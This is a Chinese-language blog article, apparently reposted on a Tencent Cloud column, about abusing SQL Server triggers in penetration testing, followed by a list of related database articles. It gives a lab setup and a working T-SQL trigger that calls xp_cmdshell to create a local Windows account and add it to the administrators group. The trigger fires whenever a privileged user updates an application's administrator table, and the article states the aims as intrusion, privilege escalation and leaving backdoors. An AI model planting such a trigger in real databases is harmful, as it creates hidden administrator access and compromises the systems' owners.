专栏首页逸鹏说道触发器在渗透中的利用

触发器在渗透中的利用

0x01 什么是触发器:

触发器对表进行插入、更新、删除的时候会自动执行的特殊存储过程。触发器一般用在check约束更加复杂的约束上面。触发器和普通的存储过程的区别是:触发器是当对某一个表进行操作。诸如:update、insert、delete这些操作的时候,系统会自动调用执行该表上对应的触发器。SQL Server 2005中触发器可以分为两类:DML触发器和DDL触发器,其中DDL触发器它们会影响多种数据定义语言语句而激发,这些语句有create、alter、drop语句。

0x02 问题描述:

a)通过Sqlserver的触发器,可以利用执行者的权限执行自定义的命令。

b)渗透过程中可能利用的触发器场景:在设置好触发器以后,等待、诱使高权限用户去触发这个触发器,来实现入侵、提权、留后门等目的。

c)Sqlserver的触发器可以分为两类:DML触发器(After insert,After delete,After update和instead of)和DDL触发器(for)。

实验环境: Win2003x86 && SqlServer 2005,默认安装Sqlserver,安装一个开源应用siteserver,并建立test用户,不给予服务器角色,数据库角色仅给予dbo和public权限。并将test库与test用户相互映射。SqlServer的xp_cmdshell已经被恢复。

实验过程: a)使用test用户建立触发器语句:

SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO                             --这些是 SQL-92 设置语句,使 mssql 遵从 SQL-92 规则。
CREATE TRIGGER test
   ON bairong_Administrator
   AFTER UPDATE           /*建立一个作用于表bairong_Administrator的、
                            类型为After update的、名为test的触发器*/
AS 
BEGIN
    --EXECUTE SP_ADDEXTENDEDPROC 'MASTER.DBO.XP_CMDSHELL','XPLOG70.DLL'
           EXECUTE MASTER.DBO.XP_CMDSHELL 'net user STD 123456 /add'
    EXECUTE MASTER.DBO.XP_CMDSHELL 'net localgroup administrators STD /add'
           /*默认格式begin为开头加上触发后执行的语句,这里是利用储存过程添加系统账号。*/
END
GO

b)执行UPDATE操作,是触发器执行:

1)使用UPDATE语句来触发触发器:

UPDATE bairong_Administrator SET Email='STD@nsfocus.com' WHERE UserName='admin';

使用test用户执行:

2)使用sa用户执行:

那么这就产生一个问题了,如何利用被动触发留后门或渗透攻击。

本文分享自微信公众号 - 我为Net狂(dotNetCrazy),作者:darksn0w

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2015-11-04

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • ifconfig: command not found CentOS专版,其他的可以参考

    ifconfig: command not found ? 查看path配置(echo相当于c中的printf,C#中的Console.WriteLine) e...

    逸鹏
  • GitHub实战系列~2.把本地项目提交到github中 2015-12-10

    实例: 1.上面步骤和昨天一样,先在github里面新建一个项目,然后clone一份到本地 2.把本地文件拖到git项目文件夹里面(后面讲怎么过滤文件) ? 3...

    逸鹏
  • 程序猿是如何解决SQLServer占CPU100%的

    文章目录 遇到的问题 使用SQLServer Profiler监控数据库 SQL1:查找最新的30条告警事件 SQL2:获取当前的总报警记录数 有哪些SQL语句...

    逸鹏
  • Mysql触发器

    MySQL触发器 1、 触发器作用 日志跟踪:使用数据库记录apache等日志,可以使用自动插入操作 验证数据:触发器可以验证更新数据库要存入的数据 引用完整:...

    苦咖啡
  • 触发器最全总结(适合复习数字逻辑使用)

    cuptobjut
  • Oracle触发器

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 ...

    颍川
  • PL/SQL --> DML 触发器

    何谓触发器?简言之,是一段命名的PL/SQL代码块,只不过该代码块在特定的条件下被触发并且执行。对于这样的代码我们称之为触发器

    Leshami
  • 【DB笔试面试448】Oracle中有哪几类触发器?

    Oracle数据库有4种触发器,分别是DML、替代触发器(INSTEAD OF触发器)、DDL和系统触发器,一般的应用系统中都使用到DML、替代触发器,而DDL...

    小麦苗DBA宝典
  • SAP HANA关于触发器的深入理解

    matinal
  • MySQL从删库到跑路_高级(五)——触发器

    触发器是和表关联的特殊的存储过程,可以在插入,删除或修改表中的数据时触发执行,比数据库本身标准的功能有更精细和更复杂的数据控制能力。

    良月柒

扫码关注云+社区

领取腾讯云代金券